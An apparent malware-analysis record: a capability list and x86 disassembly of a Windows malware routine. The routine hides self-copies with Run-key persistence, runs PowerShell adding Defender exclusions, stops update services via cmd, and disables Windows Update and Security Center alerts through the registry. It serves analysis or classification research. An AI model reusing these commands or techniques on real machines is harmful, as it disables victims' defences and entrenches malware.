Function at 0x407660
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Create thread
Delete file
Disable system features via registry on windows
Initialize winsock library
Persist via run registry key
Persist via windows service
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xff0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.dgh345rew
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xe5c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40769e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x62c], 0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x83c], 1
mov dword [ebp - 0x210], 4
push 0x105
push 0x4163d0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x4163d0
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x20c], eax
push 0x4163d0
push 0x4114d4
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0xe58]
push edx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.syschvard.exe
mov eax, dword [ebp - 0x20c]
push eax
call sub.ntdll.dll_wcscmp
add esp, 8
test eax, eax
je 0x407a09
call fcn.0040ee60
movzx ecx, al
cmp ecx, 1
jne 0x407758
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea edx, [ebp - 0xa48]
push edx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.syschvard.exe
lea eax, [ebp - 0xa48]
push eax
push 0x41152c
lea ecx, [ebp - 0x838]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x838]
push edx
push 0x4163d0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40783e
push 3
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push 0x411538
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40783e
lea edx, [ebp - 0x838]
push edx
call sub.ntdll.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x838]
push ecx
push 1
push 0
push str.Windows_Settings
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40783e
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x838]
push ecx
call fcn.0040f0b0
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x40783e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.syschvard.exe
lea eax, [ebp - 0xe58]
push eax
push 0x411598
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x418]
push edx
push 0x4163d0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x407918
push 3
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push 0x4115b0
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407918
lea edx, [ebp - 0x418]
push edx
call sub.ntdll.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x418]
push ecx
push 1
push 0
push str.Windows_Settings
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x407918
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x418]
push ecx
call fcn.0040f0b0
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x407918
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea eax, [ebp - 0xc50]
push eax
push 0x411610
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.syschvard.exe
lea ecx, [ebp - 0xc50]
push ecx
push str._s_s
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x628]
push eax
push 0x4163d0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x407a09
push 3
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407a09
lea eax, [ebp - 0x628]
push eax
call sub.ntdll.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x628]
push edx
push 1
push 0
push str.Windows_Settings
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x407a09
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x628]
push edx
call fcn.0040f0b0
add esp, 4
movzx eax, al
cmp eax, 1
jne 0x407a09
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push str._c_powershell__Command__Add_MpPreference__ExclusionPath__env:windir__Add_MpPreference__ExclusionPath__env:TEMP__Add_MpPreference__ExclusionPath__env:USERPROFILE_
push 0x4117c4
push 0x4117d4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push str._c_sc_stop_UsoSvc__sc_stop_WaaSMedicSvc__sc_stop_wuauserv__sc_stop_DoSvc__sc_stop_BITS
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407a98
push 4
lea edx, [ebp - 0x41c]
push edx
push 4
push 0
push str.CheckedValue
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesUsoSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407ae6
push 4
lea eax, [ebp - 0x210]
push eax
push 4
push 0
push 0x4119c4
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x62c]
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesWaaSMedicSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407b34
push 4
lea ecx, [ebp - 0x210]
push ecx
push 4
push 0
push 0x411a30
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServiceswuauserv
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407b82
push 4
lea edx, [ebp - 0x210]
push edx
push 4
push 0
push 0x411a90
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesDoSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407bd0
push 4
lea eax, [ebp - 0x210]
push eax
push 4
push 0
push 0x411ae8
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x62c]
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesBITS
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407c1e
push 4
lea ecx, [ebp - 0x210]
push ecx
push 4
push 0
push str.Start
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push 0x411b48
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407c71
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push 0x411bac
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x407d16
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push 0x411bc8
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407cc8
push 0
lea eax, [ebp - 0x62c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x411c10
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x62c]
push eax
push 0x20006
push 0
push 0x411c30
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407d16
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push str.DisableWindowsUpdateAccess
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push 0x411cb0
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407d69
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push 0x411d1c
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x407e65
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindows
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407dc0
push 0
lea eax, [ebp - 0x62c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.WindowsUpdate
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x62c]
push eax
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407e17
push 0
lea ecx, [ebp - 0x62c]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x411dfc
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407e65
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push str.NoAutoUpdate
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407f71
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push 0x411ea8
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push 0x411ebc
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push 0x411ed4
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push 0x411ee8
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push 0x411efc
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push 0x411f14
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push 0x411f24
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x62c]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40807d
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push str.FirewallOverride
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push str.FirewallDisableNotify
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push str.AntiSpywareOverride
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push str.AntiVirusOverride
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push str.AntiVirusDisableNotify
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push str.UpdatesOverride
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push str.UpdatesDisableNotify
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040cf00
movzx ecx, al
test ecx, ecx
je 0x408207
lea edx, [ebp - 0xff0]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0xe58]
push eax
push str._s_tbtnds.dat
push 0x4165e0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0xe58]
push ecx
push str._s_tbtcmds.dat
push 0x4161c8
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x407510
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x405980
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x406c90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405cc0
call fcn.0040dd70
call fcn.004070b0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x417018], eax
call fcn.0040c630
mov dword [0x417020], eax
call fcn.0040d860
mov dword [0x41701c], eax
call fcn.0040b9f0
push 0
push 0
push 0
push 0x40dd20
push 0
mov edx, dword [0x41701c]
push edx
call fcn.0040d890
add esp, 0x18
push 0
push 0
push 0
push 0x40dc80
push 0
mov eax, dword [0x41701c]
push eax
call fcn.0040d890
add esp, 0x18
push 0
push 0
push 0
push 0x40d630
push 0
mov ecx, dword [0x41701c]
push ecx
call fcn.0040d890
add esp, 0x18
push 0
push 0
push 0
push 0x40d5e0
push 0
mov edx, dword [0x41701c]
push edx
call fcn.0040d890
add esp, 0x18
push 0xffffffffffffffff
mov eax, dword [0x41701c]
push eax
call fcn.0040da00
add esp, 8
mov ecx, dword [0x41701c]
push ecx
call fcn.0040db40
add esp, 4
jmp 0x40820b
xor eax, eax
mov esp, ebp
pop ebp
ret